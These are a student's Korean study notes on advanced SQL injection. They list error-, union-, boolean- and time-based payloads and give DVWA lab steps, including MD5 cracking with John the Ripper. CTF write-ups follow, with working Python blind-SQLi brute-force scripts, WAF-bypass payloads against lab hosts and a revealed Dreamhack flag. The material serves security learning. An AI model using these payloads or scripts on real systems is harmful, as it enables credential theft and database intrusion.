WEB2 study 5주차 | sql injection 심화

SQL 인젝션 공격 유형 및 대응 방안 문서화

In-band SQLi

Error-based: 쿼리문에 오류 발생 -> 시스템 권한 체크 우회 -> 에러메세지 출력

에러메세지에 원하는 정보 첨부 가능

ex: 로그인 페이지에서 user_id와 user_pw를 입력 받을 때, SELECT user FROM users WHERE uid = ‘user_id’ AND upw = ‘user_pw’; SELECT user FROM users WHERE jid = ‘’ OR 1 = 1 – user_id에 ‘ OR 1 = 1 –(공백)을 넣으면 users 테이블에 있는 user 정보 모두 확인 가능

자주 쓰이는 함수 updatexml (null,concat(0x3a,실행할 쿼리문)),null); extractvalue (0x3a, concat(0x3a,실행할 쿼리문)));

Union-based: UNION 명령 이용, 정상쿼리+악성쿼리 합집합

UNION: 두 개의 쿼리문을 합집합하여 하나의 테이블로 보여주는 키워드 UNON을 쓰기 위한 조건

  • 두 테이블의 칼럼 수가 같은가?
  • 데이터 타입이 같은가?

칼럼 개수 알아내기 -SELECT 이용: 오류가 나지 않을 때, 그 숫자가 칼럼의 개수 -ORDER BY(원래 오름/내림차순 정리를 위한 명령어) 이용: 오류가 날 때, 그 직전 숫자가 칼럼의 개수

Information Schema information_schema.schemata: 데이터베이스 관련 정보 테이블 schema_name: 모든 DB 이름값을 갖는 필드

information_schema.tables: 테이블 관련 정보 테이블 table_name: 모든 테이블 이름값을 갖는 필드 table_schema: 테이블이 속한 DB 이름 table_type: 테이블 타입

information_schema.columns: 칼럼 관련 정보 테이블 column_name: 모든 칼럼 이름값을 갖는 필드

ex: 게시글을 검색할 때,

SELECT * FROM board WHERE title LIKE '%INPUT%' OR contents '%INPUT%'
SELECT * FROM board WHERE title LIKE '%' UNION SELECT null, id, passwd FROM users --

' UNION SELECT null, id, passwd FROM user --(공백) 입력(칼럼 수는 3개인 것 유추 가능)

Blind SQLi: 결과값을 참/거짓으로만 출력하는 페이지에서 인젝션

Boolean-based: 참거짓을 이용해 패턴 파악 후 유추

ex: error-based와 같은 쿼리문, DB의 테이블명 알아내기

SELECT user FROM Users WHERE uid = 'USER_ID' AND upw = 'INPUT_PW';
SELECT * FROM Users WHERE uid = 'idd3' and ASCII(SUBSTR((SELECT name FROM information_schema.tables WHERE table_type='base table' limit 0,1),1,1)) > 100 --

위 쿼리문을 삽입하고, 100을 바꿔주면서 될 때까지 시도

Time-based: 응답 전송 시간을 이용해 유추

ex: error-based와 같은 쿼리문, db의 길이 알아내기

 SELECT * FROM Users WHERE id = 'abc123' OR (LENGTH(DATABASE())=1 (SLEEP  때까지 시도) AND SLEEP(2)) --

자주 쓰이는 함수 substring: 첫번째 인자로 받은 문자열, 지정 길이만큼 출력 ascii: 아스키코드 변환 limit: 문자열 길이 반환

Out-of-bound SQLi: 쿼리 결과 외부 채널로 전달(DNS 서버도 포함)

대응 방안

필터 로직: 데이터 길이를 제한하거나 명렁어, 특수문자 등 필터링 동적 SQL 쿼리 생성 X: 동적 sql 쿼리문 대신 지정된 형식의 데이터만 사용할 수 있도록 설계 DB 권한 제한: 신뢰할 수 있는 네트워크나 서버만 허용하는 등, 함부로 DB에 접근할 수 없도록 함

DVWA 실습 정리

1번은 스터디 시간에 성공

2번. dvwa.users 테이블의 user,password 열람

5’ UNION SSELECT user,password FROM dvwa.users# 입력 DB.Table 이름으로 from 설정해줘야 한다

3번. 존 더 리퍼를 활용해 비밀번호 해쉬를 깨서 pablo의 비밀번호 알아내기

pablo의 해쉬값 체크

텍스트 파일 만들어주기 -> 해쉬값 저장

어떤 암호화 알고리즘이 쓰였는지 체크한다 MD5 확인

존 더 리퍼를 활용하여 md5로 설정하고 텍스트 파일 안 해쉬값을 깨준다 주황색 글씨 letmein 확인

orge 라이트업

pw를 get함 이미 id는 채워져 있고 뒤에 pw가 맞는지 확인하기 때문에 권한 우회는 아닌 거 같다

pw’ or id=’admin’ and length(pw)=1# 쿼리에 pw’ or id=’admin’ and length(pw)=1%23 HeHe가 뜸 or와 and 우회필요 pw’ || id=’admin’ && length(pw)=1%23

왜인지 모르게 쿼리문이 계속 잘렸다

pw 길이의 조건만 넣었더니 hello admin이 떴다 이제 pw 구해야 한다 수업 자료에 써있는 코드 참고해서 작성해봤다

import requests
import string

url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27%20||" #url 연결
cookie=dict(PHPSESSID="9ielu089da0vp9d0pggh98v9ce") #F12 참고 

char=string.digits+string.ascii_letters
result="" 

for i in range(1,9): #pw 길이만큼 반복 
	for j in char:
		param="ascii(mid(pw,"+str(i)+",1)) = "+str(ord(j))+"%23"
		URL=url+param
		response=requests.get(URL,cookies=cookie)
		if response.text.find("Hello admin")>0:
			result+=j
			break
print(result)

실행하면 pw가 나온다

blind sql injection advanced 라이트업

hi 한 번 작성해봤다


nrows는 숫자 표시 → blind

아마도 admin pw가 flag일 거 같다

order by가 3까지 가능, 칼럼 개수 3

비밀번호 칼럼 어떻게 저장했는지를 알아야 할 거 같은데 서버 에러만 떠서 라업을 참고했다… 파이썬 파일만 볼 게 아니라 sql 파일도 참고해야 했다.. 칼럼명을 알 필요가 없었다..

length가 먹히는지 확인

length까지는 스스로 알아냈으나 코드 실행이 안됐다 나중에 라업을 보니 드림핵 사이트에서 플래그는 아스키코드+한글로 이루어져 있다고 명시했다….(난 못보고 지나쳤다..)

character set utf8 확인

아래 코드를 간단히 설명하면 다음과 같다

  1. password 각각의 자리가 몇 비트인지 체크, 그 비트 저장
  2. 비트 길이만큼 0000…~1111…까지 체크하면서 exist 나오면 그값이 그자리의 비트열이므로 저장
  3. 비트열 변환
import requests
import string
import sys
from urllib.parse import urljoin
from urllib import parse 
from requests import get

host = 'http://host3.dreamhack.games:19592'

password_length = 27; #패스워드 길이
bts = [] #각 character의 비트길이
password = "" # 비밀번호(flag)

for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
    bts.append(bit_length)

# 각 password character의 비트 수를 확인.

for idx, i in enumerate(bts, start = 1):
    bits = ""
    for j in range(1, i+1):
        query = f"admin' and substr(bin(ord(substr(upw, {idx}, 1))), {j}, 1) = '1'-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {idx}'s bits: {bits}")
    password += int.to_bytes(int(bits, 2), (i+7)//8, "big").decode('utf-8')
 
 # idx는 character 번호 i는 character의 비트 수.
 # j는 비트 순서 1~i+1까지
 # 이를 bits 문자열에 넣고
 # password += int.to_bytes(int(bits, 2), (i+7)//8, "big").decode('utf-8')에 넣어 UTF-8 형식으로 바꿈.

print(password)
# password 출력.

sql injection bypass WAF 라이트업

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

DB를 확인해준다 앞문제와 달리 utf-8도 아니니 그냥 아스키 코드로 구하면 될 거 같다

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False

위에는 쓰면 안되는 키워드들이다. 필터링도 아니고 그냥 나가진다

char함수로 우회해보려고 했는데 잘 안됐다 애초에 권한 우회보다는 pw를 맞춰야 하는 문제인 거 같다

length 먼저 구해줬다 부등호로 10,20,30 범위를 줄이고 하나하나 대입해보면 길이를 쉽게 구할 수 있다

이것도 파이썬 코드를 짜야할 거 같다 앞에서 푼 두 문제를 활용해서 짜보았다

import requests
import string
import sys
from urllib.parse import urljoin
from urllib import parse 
from requests import get

host = 'http://host3.dreamhack.games:14861/'

password_length = 44; #패스워드 길이
password = "" # 비밀번호(flag)
url=host+'?uid=%27||'
char=string.digits+string.ascii_letters

for i in range(1,45): #pw 길이만큼 반복 
	for j in char:
		param="ascii(mid(upw,"+str(i)+",1))="+str(ord(j))+";%23"
		URL=url+param
		response=requests.get(URL)
		if response.text.find("admin")>0:
			print(j)
			password+=j
			break
	print(str(i)+"번째 겹침")
	password+=' '

print(password)

코드를 이상하게 짰다..(admin이 아닌 다른 uid가 출력되는 경우도 있을거라 생각했는데 없었나보다) 그냥 n번째 겹침이라는 출력 무시하고 나머지 이어주고 3번째와 44번째만 중괄호로 채워주면 된다 DH{bc818d522986e71f9b10afd732aef9789a6db76d}